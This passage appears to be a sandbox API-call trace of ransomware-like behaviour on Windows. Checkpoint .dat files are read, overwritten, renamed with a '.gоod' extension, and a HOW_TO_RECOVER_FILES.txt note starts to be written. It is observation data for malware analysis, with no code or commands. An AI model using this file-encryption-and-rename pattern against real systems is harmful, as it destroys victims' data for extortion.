"c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfj3t6.dat.gоod")) returned 1 [0243.892] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBBG.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBBG.dat", lpFilePart=0x0) returned 0x51 [0243.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0243.893] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBBG.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbbg.dat"), fInfoLevelId=0x0, lpFileInformation=0x3a53b98 | out: lpFileInformation=0x3a53b98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7abe6c, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa7abe6c, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa7abe6c, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c9)) returned 1 [0243.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0243.893] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBBG.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBBG.dat", lpFilePart=0x0) returned 0x51 [0243.893] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0243.893] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBBG.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbbg.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0243.893] GetFileType (hFile=0x85c) returned 0x1 [0243.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0243.893] GetFileType (hFile=0x85c) returned 0x1 [0243.893] GetFileSize (in: hFile=0x85c, lpFileSizeHigh=0x207ec698 | out: lpFileSizeHigh=0x207ec698*=0x0) returned 0x1c9 [0243.893] ReadFile (in: hFile=0x85c, lpBuffer=0x3a54050, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x3a54050*, lpNumberOfBytesRead=0x207ec5c8*=0x1c9, lpOverlapped=0x0) returned 1 [0243.893] CloseHandle (hObject=0x85c) returned 1 [0244.081] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBBG.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBBG.dat", lpFilePart=0x0) returned 0x51 [0244.081] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0244.081] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBBG.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbbg.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0244.082] GetFileType (hFile=0x630) returned 0x1 [0244.082] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0244.082] GetFileType (hFile=0x630) returned 0x1 [0244.082] WriteFile (in: hFile=0x630, lpBuffer=0x3a3d228*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x207ec4d8, lpOverlapped=0x0 | out: lpBuffer=0x3a3d228*, lpNumberOfBytesWritten=0x207ec4d8*=0x1d0, lpOverlapped=0x0) returned 1 [0244.083] CloseHandle (hObject=0x630) returned 1 [0244.083] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBBG.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBBG.dat", lpFilePart=0x0) returned 0x51 [0244.083] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBBG.dat.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBBG.dat.gоod", lpFilePart=0x0) returned 0x56 [0244.083] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0244.083] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBBG.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbbg.dat"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7abe6c, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa7abe6c, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8db316b5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d0)) returned 1 [0244.083] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0244.083] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBBG.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbbg.dat"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBBG.dat.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbbg.dat.gоod")) returned 1 [0244.084] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBD8.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBD8.dat", lpFilePart=0x0) returned 0x51 [0244.084] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0244.084] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBD8.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbd8.dat"), fInfoLevelId=0x0, lpFileInformation=0x3a3e500 | out: lpFileInformation=0x3a3e500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3cc60b, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa3cc60b, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa3cc60b, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c3)) returned 1 [0244.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0244.085] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBD8.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBD8.dat", lpFilePart=0x0) returned 0x51 [0244.085] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0244.085] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBD8.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbd8.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0244.085] GetFileType (hFile=0x630) returned 0x1 [0244.085] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0244.085] GetFileType (hFile=0x630) returned 0x1 [0244.085] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x207ec698 | out: lpFileSizeHigh=0x207ec698*=0x0) returned 0x1c3 [0244.085] ReadFile (in: hFile=0x630, lpBuffer=0x3a3e9b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x3a3e9b0*, lpNumberOfBytesRead=0x207ec5c8*=0x1c3, lpOverlapped=0x0) returned 1 [0244.085] CloseHandle (hObject=0x630) returned 1 [0245.740] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBD8.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBD8.dat", lpFilePart=0x0) returned 0x51 [0245.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0245.740] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBD8.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbd8.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0245.741] GetFileType (hFile=0x858) returned 0x1 [0245.741] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0245.741] GetFileType (hFile=0x858) returned 0x1 [0245.741] WriteFile (in: hFile=0x858, lpBuffer=0x36ffa88*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x207ec4d8, lpOverlapped=0x0 | out: lpBuffer=0x36ffa88*, lpNumberOfBytesWritten=0x207ec4d8*=0x1d0, lpOverlapped=0x0) returned 1 [0245.742] CloseHandle (hObject=0x858) returned 1 [0245.742] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBD8.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBD8.dat", lpFilePart=0x0) returned 0x51 [0245.742] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBD8.dat.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBD8.dat.gоod", lpFilePart=0x0) returned 0x56 [0245.742] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0245.742] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBD8.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbd8.dat"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3cc60b, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa3cc60b, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8eafd283, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d0)) returned 1 [0245.742] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0245.742] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBD8.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbd8.dat"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBD8.dat.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbd8.dat.gоod")) returned 1 [0245.743] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBH4.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBH4.dat", lpFilePart=0x0) returned 0x51 [0245.743] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0245.743] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBH4.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbh4.dat"), fInfoLevelId=0x0, lpFileInformation=0x3700d60 | out: lpFileInformation=0x3700d60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7abe6c, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa7abe6c, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa7abe6c, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1ca)) returned 1 [0245.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0245.744] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBH4.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBH4.dat", lpFilePart=0x0) returned 0x51 [0245.744] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0245.744] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBH4.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbh4.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0245.744] GetFileType (hFile=0x858) returned 0x1 [0245.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0245.744] GetFileType (hFile=0x858) returned 0x1 [0245.744] GetFileSize (in: hFile=0x858, lpFileSizeHigh=0x207ec698 | out: lpFileSizeHigh=0x207ec698*=0x0) returned 0x1ca [0245.744] ReadFile (in: hFile=0x858, lpBuffer=0x3701218, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x3701218*, lpNumberOfBytesRead=0x207ec5c8*=0x1ca, lpOverlapped=0x0) returned 1 [0245.745] CloseHandle (hObject=0x858) returned 1 [0246.717] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBH4.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBH4.dat", lpFilePart=0x0) returned 0x51 [0246.717] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0246.718] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBH4.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbh4.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0246.719] GetFileType (hFile=0x86c) returned 0x1 [0246.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0246.719] GetFileType (hFile=0x86c) returned 0x1 [0246.719] WriteFile (in: hFile=0x86c, lpBuffer=0x38d6b90*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x207ec4d8, lpOverlapped=0x0 | out: lpBuffer=0x38d6b90*, lpNumberOfBytesWritten=0x207ec4d8*=0x1d0, lpOverlapped=0x0) returned 1 [0246.719] CloseHandle (hObject=0x86c) returned 1 [0246.719] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBH4.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBH4.dat", lpFilePart=0x0) returned 0x51 [0246.719] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBH4.dat.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBH4.dat.gоod", lpFilePart=0x0) returned 0x56 [0246.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0246.719] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBH4.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbh4.dat"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7abe6c, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa7abe6c, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8f460785, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d0)) returned 1 [0246.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0246.719] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBH4.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbh4.dat"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBH4.dat.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbh4.dat.gоod")) returned 1 [0246.720] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBMP.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBMP.dat", lpFilePart=0x0) returned 0x51 [0246.720] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0246.720] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBMP.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbmp.dat"), fInfoLevelId=0x0, lpFileInformation=0x38d7e68 | out: lpFileInformation=0x38d7e68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6da5, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa8b6da5, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa8b6da5, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c8)) returned 1 [0246.721] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0246.721] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBMP.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBMP.dat", lpFilePart=0x0) returned 0x51 [0246.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0246.721] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBMP.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbmp.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0246.721] GetFileType (hFile=0x86c) returned 0x1 [0246.721] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0246.721] GetFileType (hFile=0x86c) returned 0x1 [0246.721] GetFileSize (in: hFile=0x86c, lpFileSizeHigh=0x207ec698 | out: lpFileSizeHigh=0x207ec698*=0x0) returned 0x1c8 [0246.721] ReadFile (in: hFile=0x86c, lpBuffer=0x38d8318, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x38d8318*, lpNumberOfBytesRead=0x207ec5c8*=0x1c8, lpOverlapped=0x0) returned 1 [0246.721] CloseHandle (hObject=0x86c) returned 1 [0247.058] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBMP.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBMP.dat", lpFilePart=0x0) returned 0x51 [0247.058] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0247.059] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBMP.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbmp.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0247.059] GetFileType (hFile=0x86c) returned 0x1 [0247.059] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0247.059] GetFileType (hFile=0x86c) returned 0x1 [0247.059] WriteFile (in: hFile=0x86c, lpBuffer=0x38f4d90*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x207ec4d8, lpOverlapped=0x0 | out: lpBuffer=0x38f4d90*, lpNumberOfBytesWritten=0x207ec4d8*=0x1d0, lpOverlapped=0x0) returned 1 [0247.060] CloseHandle (hObject=0x86c) returned 1 [0247.060] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBMP.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBMP.dat", lpFilePart=0x0) returned 0x51 [0247.060] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBMP.dat.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBMP.dat.gоod", lpFilePart=0x0) returned 0x56 [0247.060] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0247.060] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBMP.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbmp.dat"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6da5, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa8b6da5, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8f78180c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d0)) returned 1 [0247.060] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0247.060] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBMP.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbmp.dat"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFJBMP.dat.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfjbmp.dat.gоod")) returned 1 [0247.105] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x207ec2e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x59 [0247.105] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec800) returned 1 [0247.105] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, 